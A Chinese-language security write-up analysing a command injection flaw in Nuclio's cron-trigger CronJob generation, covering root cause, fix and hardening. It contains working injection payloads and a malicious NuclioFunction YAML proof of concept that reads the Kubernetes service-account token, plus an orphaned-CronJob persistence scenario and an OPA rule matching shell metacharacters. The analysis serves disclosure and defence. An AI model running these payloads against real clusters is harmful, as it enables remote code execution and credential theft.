一、背景:当 Serverless 遇上 CronJob
Nuclio 是 CNCF 沙箱项目的开源 Serverless 函数框架,运行在 Kubernetes 之上。它的核心卖点是将"部署一个函数"简化为"提交一个 CR(Custom Resource)",由 Controller 自动完成构建、部署、扩缩容。
| 项目信息 | 内容 |
|---|---|
| 受影响版本 | <= 1.15.27 |
| 修复版本 | 1.16.4 |
| CVSS 3.1 评分 | 9.9(AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) |
| 漏洞文件 | pkg/platform/kube/functionres/lazy.go |
| 漏洞函数 | generateCronTriggerCronJobSpec(lazy.go:2113) |
1.1 核心组件
┌──────────────────────────────────────────────────────┐
│ Dashboard (Web管理, 默认无认证) │
│ │ 创建/更新函数 (CR YAML) │
│ ▼ │
│ NuclioFunction CR ──→ Controller (K8s Operator) │
│ spec.triggers │ Reconcile │
│ ├──→ 生成 Deployment │
│ └──→ 生成 CronJob (漏洞点!) │
│ → Processor (函数 Pod) │
└──────────────────────────────────────────────────────┘
- Dashboard:Web 管理界面,默认不启用认证
- Controller:K8s Operator,监听
NuclioFunctionCR,Reconcile 生成 K8s 资源 - Processor:实际运行用户函数的 Pod
1.2 漏洞位置
Controller 在处理函数的 cron trigger 时,会调用 generateCronTriggerCronJobSpec 生成一个 K8s CronJob。这个 CronJob 的任务是用 curl 定时调用函数本身。问题在于:生成 curl 命令时,用户可控的 header key 和 body 被直接拼进了 /bin/sh -c 的字符串里。
二、核心问题:同一个 sink,两条独立注入路径
整个漏洞的本质是命令注入。用户通过 NuclioFunction CR 的 spec.triggers.cron-inject 配置项,可以控制两个字段:
attributes.event.headers的 key(Path-A)attributes.event.body(Path-B)
这两个字段经过不同的转义路径,最终都汇聚到同一个 sink:
// lazy.go:2212
Args: []string{"/bin/sh", "-c", curlCommand}
下面逐一分析两条路径。
三、Path-A:Header Key 闭合双引号注入
3.1 漏洞代码
// lazy.go:2146-2151
headersAsCurlArg := ""
for headerKey := range attributes.Event.Headers {
headerValue := attributes.Event.GetHeaderString(headerKey)
headersAsCurlArg = fmt.Sprintf("%s --header \"%s: %s\"",
headersAsCurlArg, headerKey, headerValue)
// ↑ headerKey 用户可控,未做任何转义
}
3.2 逐行分析
这段代码遍历 trigger 配置中的 event.headers,把每个 header 拼成 --header "key: value" 的 curl 参数。
关键缺陷:headerKey 直接从用户配置的 event.headers 中取出,在双引号包裹的 Shell 参数中被逐字插值,未做任何转义。
3.3 注入原理
Shell 中双引号字符串的特殊字符包括 "、$、`、\。其中 " 会闭合当前的双引号上下文。
只要 headerKey 中包含一个双引号 ",就能闭合外层的 --header "..." 双引号,其后跟随的内容将被 Shell 解释为新的命令。
3.4 注入 payload
headerKey = 'X-Inject"; echo "===RCE_CONFIRMED==="; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo "'
3.5 生成的 Shell 命令
将 payload 代入 fmt.Sprintf 模板后,curlCommand 变为:
curl --header "X-Inject"; echo "===RCE_CONFIRMED==="; id; \
cat /var/run/secrets/.../token | head -c 50; echo ": marker" \
--header "X-Normal: safe-value" ...
Shell 解析:"X-Inject" 被双引号提前闭合 → ; 作为命令分隔符 → echo/id/cat 依次执行 → echo ": marker" 闭合残余引号。正常 curl 参数被无害化处理。
3.6 Path-A 流程
headerKey: X-Inject"; echo "PWN"; id; echo "
→ fmt.Sprintf("--header \"%s: %s\"", headerKey, headerValue)
→ --header "X-Inject"; echo "PWN"; id; echo ": value"
→ /bin/sh -c 解析: 双引号闭合 → ; 分隔 → 注入执行
四、Path-B:Body 走命令替换
4.1 漏洞代码
// lazy.go:2188-2192
curlCommand = fmt.Sprintf("echo %s > %s && %s %s",
strconv.Quote(eventBody), // 转义 " → \" 和 \ → \\,但不转义 $()
eventBodyFilePath,
curlCommand,
eventBodyCurlArg)
4.2 strconv.Quote 的盲区
Go 的 strconv.Quote() 函数会将字符串用双引号包裹,并转义其中的双引号(" → \")和反斜杠(\ → \\)。这看起来能防止 Path-A 那种双引号闭合攻击。
但 strconv.Quote 不转义以下 Shell 特殊字符:
| 字符 | Shell 含义 | 是否被 Quote 转义 |
|---|---|---|
" |
闭合双引号 | 是(→ \") |
\ |
转义字符 | 是(→ \\) |
$ |
变量引用 | 否 |
( ) |
子 Shell | 否 |
` |
命令替换(反引号) | 否 |
4.3 命令替换注入
在 /bin/sh -c 的上下文中,$(CMD) 是命令替换语法:Shell 会先执行 CMD,然后把输出替换回原位置。即使外层有双引号包裹,$() 在双引号内仍然会被解释。
4.4 注入 payload
eventBody = "$(id 1>&2; echo BODY_INJECTION_PROOF)"
4.5 生成与执行
经过 strconv.Quote 处理后:
strconv.Quote("$(id 1>&2; echo BODY_INJECTION_PROOF)")
// → "\"$(id 1>&2; echo BODY_INJECTION_PROOF)\""
代入模板后,curlCommand 变为:
echo "$(id 1>&2; echo BODY_INJECTION_PROOF)" > /tmp/event_body && curl ...
Shell 解析:双引号不阻止 $() 执行 → 先执行 id(输出到 stderr,便于验证)和 echo(输出到 stdout,写入文件)→ 命令替换成功。
4.6 Path-B 流程
eventBody: $(id 1>&2; echo BODY_INJECTION_PROOF)
→ strconv.Quote → "$(id 1>&2; echo BODY_INJECTION_PROOF)" (仅转义 " 和 \)
→ fmt.Sprintf("echo %s > %s && curl ...", ...)
→ /bin/sh -c: 双引号内 $() 仍被解释 → id 执行 (输出到 stderr)
五、执行汇聚点
两条路径最终都汇聚到同一个 sink:
// lazy.go:2212
Args: []string{"/bin/sh", "-c", curlCommand}
这个 curlCommand 是一个被完整拼接的 Shell 命令字符串,通过 /bin/sh -c 执行。Shell 会解析其中的引号、分号、管道、命令替换等所有语法元素。
这意味着:无论攻击者选择 Path-A(双引号闭合)还是 Path-B(命令替换),最终都能在 CronJob 的容器中以 root 权限执行任意命令。
六、变量展开链:从 CR YAML 到 RCE
用户提交 NuclioFunction CR (YAML)
spec.triggers.cron-inject.attributes.event.headers / event.body
│
▼
Controller Reconcile → generateCronTriggerCronJobSpec (lazy.go:2113)
├── Path-A: headerKey 直接插值 → 双引号闭合 → 命令分隔 (;)
└── Path-B: eventBody 经 strconv.Quote → 保留 $() → 命令替换
│
▼
Args: []string{"/bin/sh", "-c", curlCommand} (lazy.go:2212)
│
▼
K8s CronJob → /bin/sh -c 执行 → 以 root (uid=0) 执行任意命令
├── echo "===RCE_CONFIRMED===" ├── id (uid=0) ├── cat .../token (SA Token)
七、PoC 验证
7.1 Path-A 的 YAML PoC
创建一个恶意的 NuclioFunction CR,在 cron trigger 的 header key 中注入命令:
apiVersion: nuclio.io/v1beta1
kind: NuclioFunction
metadata:
name: cron-inject-poc
namespace: nuclio
spec:
runtime: golang
handler: main:Handler
triggers:
cron-inject:
kind: cron
attributes:
interval: "1m" # 每分钟执行一次(便于观察)
event:
body: "normal-body"
headers:
# Path-A 注入:header key 中嵌入双引号闭合 + 命令链
"X-Inject\"; echo \"===RCE_CONFIRMED===\"; id; \
cat /var/run/secrets/kubernetes.io/serviceaccount/token \
| head -c 50; echo \"": "marker"
"X-Normal": "safe-value"
提交此 CR 后,Controller 的 Reconcile 会调用 generateCronTriggerCronJobSpec,生成一个包含注入命令的 CronJob。当 CronJob 按 schedule 触发时,Pod 日志中会输出:
7.2 动态执行 Pod 日志输出
===RCE_CONFIRMED===
uid=0(root) gid=0(root) groups=0(root),...
eyJhbGciOiJSUzI1NiIsImtpZCI6InNtaUE1WS0yVXl2ZUhsTG
逐行解读:
| 输出 | 来源命令 | 含义 |
|---|---|---|
===RCE_CONFIRMED=== |
echo "===RCE_CONFIRMED===" |
注入的 echo 执行确认 |
uid=0(root) gid=0(root)... |
id |
容器以 uid=0 (root) 运行 |
eyJhbGciOiJSUzI1NiIs... |
cat .../token | head -c 50 |
K8s ServiceAccount Token 前 50 字节被窃取 |
三项输出完整证明了:注入命令已执行、执行权限为 root、K8s 集群凭据已被窃取。
7.3 攻击影响
拿到 K8s ServiceAccount Token 后,攻击者可以:
- 伪造 API 请求:用窃取的 Token 直接访问 K8s API Server
- 权限枚举:通过
kubectl auth can-i --list枚举 SA 的权限 - 横向移动:如果 SA 权限较高,可创建特权 Pod 逃逸到宿主机节点
- 持久化:创建后门 CR / DaemonSet / 隐藏 CronJob
八、持久化后门:CronJob 无 ownerReferences
8.1 问题代码
在 lazy.go:522,代码自己承认了一个设计问题:
// lazy.go:522
// Delete function k8s CronJobs before the Deployment so they cannot spawn new
// CronJobs are not owned by the Deployment, so cascade does not remove them.
这段注释说明:CronJob 没有 ownerReferences 指向 NuclioFunction(或其 Deployment)。这意味着 K8s 的级联删除(cascade deletion)不会清理 CronJob。
8.2 攻击场景
1. 攻击者创建恶意 NuclioFunction CR (cron trigger header key 注入后门命令)
2. Controller 生成 CronJob (无 ownerReferences → 独立于 NuclioFunction 存在)
3. 攻击者删除 NuclioFunction CR → Deployment 被删除, 但 CronJob 仍在!
4. CronJob 按 schedule 持续执行后门命令 (每1分钟窃取 Token / 反弹 shell)
→ 管理员看到函数已"删除", 不会意识到还有残留 CronJob
8.3 为什么这很危险
正常情况下,删除一个 K8s 资源时,其拥有的子资源会通过 ownerReferences 级联删除。但 Nuclio 的 CronJob 没有设置 owner,所以:
- 删除函数后,CronJob 仍然存在并按 schedule 运行
- 管理员看到函数已删除,不会意识到还有残留的 CronJob
- 后门命令会持续执行,直到管理员手动
kubectl delete cronjob
这把一个"一次性命令注入"升级为了持久化后门。
九、CVSS 9.9 评分拆解
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H = 9.9
| 维度 | 值 | 含义 |
|---|---|---|
| AV (Attack Vector) | N (Network) | 通过网络(K8s API)即可利用 |
| AC (Attack Complexity) | L (Low) | 仅需提交一个 CR YAML |
| PR (Privileges Required) | N (None) | Dashboard 默认无认证 |
| UI (User Interaction) | N (None) | 无需用户交互 |
| S (Scope) | C (Changed) | 影响波及 K8s 集群(超出 Nuclio 组件) |
| C (Confidentiality) | H (High) | 窃取 K8s SA Token,可读取集群机密 |
| I (Integrity) | H (High) | 可创建/篡改集群资源 |
| A (Availability) | H (High) | 可删除/破坏集群资源 |
9.1 为什么是 9.9 而不是 10.0
9.9 与 10.0 的差异纯粹是 CVSS 3.1 公式的数学特性:当 Scope 为 Changed (C) 时,即使所有其他维度取最严重值,公式上界也限制在 9.9。这与攻击的实际严重程度无关。
十、修复方案:从 Shell Form 改为 Exec Form
10.1 修复 commit 3356b86
修复的核心策略是从 shell form 改为 exec form——不再通过 /bin/sh -c 执行拼接的命令字符串,而是直接 execve curl 二进制,完全绕过 Shell 解释器。
10.2 修复前 vs 修复后
修复前(shell form,漏洞版本):
// lazy.go:2212
Container: corev1.Container{
Args: []string{"/bin/sh", "-c", curlCommand},
// ↑ 通过 Shell 解释,所有特殊字符生效
}
修复后(exec form,1.16.4):
Container: corev1.Container{
Command: []string{"curl"},
Args: curlArgs,
// ↑ 直接 execve curl,不经过 Shell,特殊字符失去含义
}
10.3 修复 diff(概念)
// ===== 修复前 (shell form) =====
// header 拼接为字符串
headersAsCurlArg = fmt.Sprintf("%s --header \"%s: %s\"",
headersAsCurlArg, headerKey, headerValue)
// body 拼接为字符串
curlCommand = fmt.Sprintf("echo %s > %s && %s %s",
strconv.Quote(eventBody), eventBodyFilePath, curlCommand, eventBodyCurlArg)
// 最终通过 shell 执行
Args: []string{"/bin/sh", "-c", curlCommand}
// ===== 修复后 (exec form) =====
// header 拼接为独立参数(不经过 shell 引号解析)
curlArgs = append(curlArgs, "--header", fmt.Sprintf("%s: %s", headerKey, headerValue))
// body 使用 --data-raw(防止 @ 开头被解释为文件加载)
curlArgs = append(curlArgs, "--data-raw", eventBody)
// 直接 execve curl
Command: []string{"curl"}
Args: curlArgs
10.4 修复要点
| 修复项 | 说明 |
|---|---|
| Shell form → Exec form | 从 ["/bin/sh", "-c", cmd] 改为 ["curl", arg1, arg2, ...],直接 execve 不经过 Shell |
--data → --data-raw |
防止 body 以 @ 开头时被 curl 解释为文件加载(@/etc/passwd) |
| Headers 排序 | 对 header key 排序确保确定性输出,便于测试和审计 |
| 新增回归测试 | 新增 186 行回归测试覆盖两条注入路径 |
10.5 为什么 Exec Form 是正确的修复
Exec form 的本质是消除 Shell 解释器这个攻击面。Shell form 下 /bin/sh -c 会解析引号、分号、$()、管道、重定向,用户输入中的特殊字符全部生效;Exec form 下内核直接 execve("/usr/bin/curl", argv, envp),无 Shell 解析,特殊字符只是普通字符串参数。即使用户在 header key 中放入 " ; id ; ",它也只是 curl 的 --header 参数值的一部分。因为根本没有 Shell 在做解析。
这是防御命令注入的黄金原则:如果不需要 Shell 的功能,就不要用 Shell。
十一、相关漏洞:CVE-2026-29042
| 项目 | 内容 |
|---|---|
| CVE 编号 | CVE-2026-29042 |
| CVSS 评分 | 9.8 |
| 漏洞组件 | Nuclio Shell Runtime |
| 漏洞类型 | 命令注入 |
CVE-2026-29042 是同一产品中的另一个命令注入漏洞。Nuclio 的 Shell Runtime 组件将 X-Nuclio-Arguments HTTP Header 的值未经验证直接拼接到 sh -c 命令中。
两个 CVE 的共同模式:Nuclio 在多处将用户输入拼接到 Shell 命令字符串中,缺乏统一的输入验证和安全的命令构建机制。 这表明这不是个别疏漏,而是系统性的安全设计缺陷。
十二、防御方案
12.1 立即行动
- 升级 Nuclio 到 1.16.4 或更高版本(exec form 修复已包含在内)
- 为 Dashboard 启用认证(默认无认证是 PR:N 的根源)
- 限制 K8s API 访问:通过 NetworkPolicy / RBAC 限制谁能提交
NuclioFunctionCR - 审计现有 CronJob:检查集群中是否存在异常的 CronJob(特别是无 ownerReferences 的)
- 检查 SA Token 泄露:如果曾运行受影响版本,轮换相关 ServiceAccount 的 Token
12.2 架构层防御
- Dashboard 认证:启用 Basic Auth / OIDC / mTLS
- RBAC 收紧:Controller 的 SA 仅授予最小权限
- Admission Controller:用 OPA/Gatekeeper 校验 CR 字段,禁止 header key / body 中包含 Shell 特殊字符
- CronJob 审计:定期扫描无 ownerReferences 的 CronJob
- Pod Security:CronJob Pod 启用 non-root + seccomp
12.3 Admission Controller 校验规则示例
用 OPA/Gatekeeper 拦截包含 Shell 特殊字符的 NuclioFunction CR(概念示例):
deny[msg] {
function := input.review.object
function.kind == "NuclioFunction"
trigger := function.spec.triggers[_]
trigger.kind == "cron"
headerKey := trigger.attributes.event.headers[_]
re_match(`[";|$`(){}|&<>]`, headerKey)
msg := sprintf("header key contains shell metacharacters: %s", [headerKey])
}
# 类似规则可覆盖 event.body 中的 $() 命令替换语法
12.4 命令构建的最佳实践
- 优先使用 Exec Form:不需要 Shell 功能时,直接
execve目标二进制,参数作为独立字符串数组传递,从根本上消除 Shell 元字符注入。 - 避免字符串拼接构建命令:只要经过 Shell 解释器,就一定存在被绕过的风险。
- 理解转义函数的边界:
strconv.Quote转义"和\但不转义$();没有通用的"安全转义"能覆盖所有 Shell 上下文,根本解法是不经过 Shell。 - 设置 ownerReferences:动态创建的 K8s 资源应设置正确的 ownerReferences,确保级联删除正常工作,防止残留资源成为持久化后门。
十三、总结
CVE-2026-52831 是一个教科书级别的 K8s 生态命令注入漏洞,其核心教训如下:
-
双引号不是安全边界:Path-A 证明,Shell 上下文中双引号包裹用户输入是脆弱的——一个
"就能闭合整个上下文。正确做法是不经过 Shell(exec form)。 -
转义函数的盲区是致命的:Path-B 证明,
strconv.Quote转义了"和\,却放过了$()。每一个被遗漏的特殊字符都是一条独立的注入路径。 -
两条路径同一个 sink:修复 sink(改用 exec form)一次性切断了所有路径——比逐个修补每条路径更可靠、更彻底。
-
ownerReferences 不是可选项:动态创建的 K8s 资源若无 ownerReferences,删除父资源后子资源会残留,形成持久化后门。
-
默认无认证 = PR:N:Dashboard 默认不启用认证,使利用门槛从"需要 K8s 写权限"降低到"能访问端口"。默认配置中的"方便"往往是安全链上最薄弱的一环。
-
系统性缺陷:CVE-2026-52831 和 CVE-2026-29042 都是把用户输入拼进
sh -c,说明 Nuclio 在命令构建方面存在系统性问题。安全修复应建立统一的、基于 exec form 的命令构建机制,而非逐个打补丁。
修复行动:升级到 1.16.4,为 Dashboard 启用认证,审计残留 CronJob,轮换可能泄露的 SA Token。
免责声明
本文所述技术内容仅用于安全研究、防御建设和教育目的。所有漏洞分析、PoC 代码和攻击路径描述均基于公开的安全公告和已修复版本的反向分析,旨在帮助安全工程师、运维人员和开发者理解漏洞原理并采取相应防护措施。
读者不得将本文中的任何技术信息用于未经授权的系统测试、渗透攻击或其他可能违反法律法规的活动。未经授权访问、攻击计算机系统在大多数国家和地区属于刑事犯罪。
作者不对任何人基于本文内容所采取的任何行为承担责任。在使用本文涉及的任何技术之前,请确保你已获得目标系统的合法授权,并遵守当地法律法规。如果你发现 Nuclio 实例存在受影响版本,请立即联系系统管理员或通过项目官方渠道进行报告。
本文中涉及的 CVE 编号、版本号、CVSS 评分、源码行号等技术细节,均以官方安全公告和源码仓库为准。如官方信息与本文章存在差异,以官方公告为准。
浙公网安备 33010602011771号